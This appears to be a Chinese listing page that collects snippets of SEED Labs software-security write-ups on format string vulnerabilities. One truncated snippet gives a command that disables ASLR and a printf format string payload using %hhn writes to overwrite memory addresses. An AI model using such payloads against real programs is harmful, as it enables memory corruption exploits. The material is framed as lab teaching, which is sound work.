  • [SEEDLab]格式化字符串漏洞(Format String Vulnerability) 实验PDF链接 Introduction 格式化字符串漏洞是一个经典的漏洞,也是Pwn里面一个基础吧。他是由于C语言中的printf相关的函数导致的。printf相比大家都已熟悉...
  • seedlab 软件安全

    2021-07-01 19:09:56
    TASK1 sudo sysctl -w kernel.randomize_va_space=0 1.3 echo $(printf "\x54\xed\xff\xbf\x55\xed\xff\xbf\x56\xed\xff\xbf\x57\xed\xff\xbf").%.84x.%9\$hhn%.16x.%7\$hhn.%15x.%8\$hhn.%15x.%6\$hhn >...

空空如也

空空如也

1 2 3 4 5 ... 16
收藏数 302
精华内容 120
关键字:

seedlab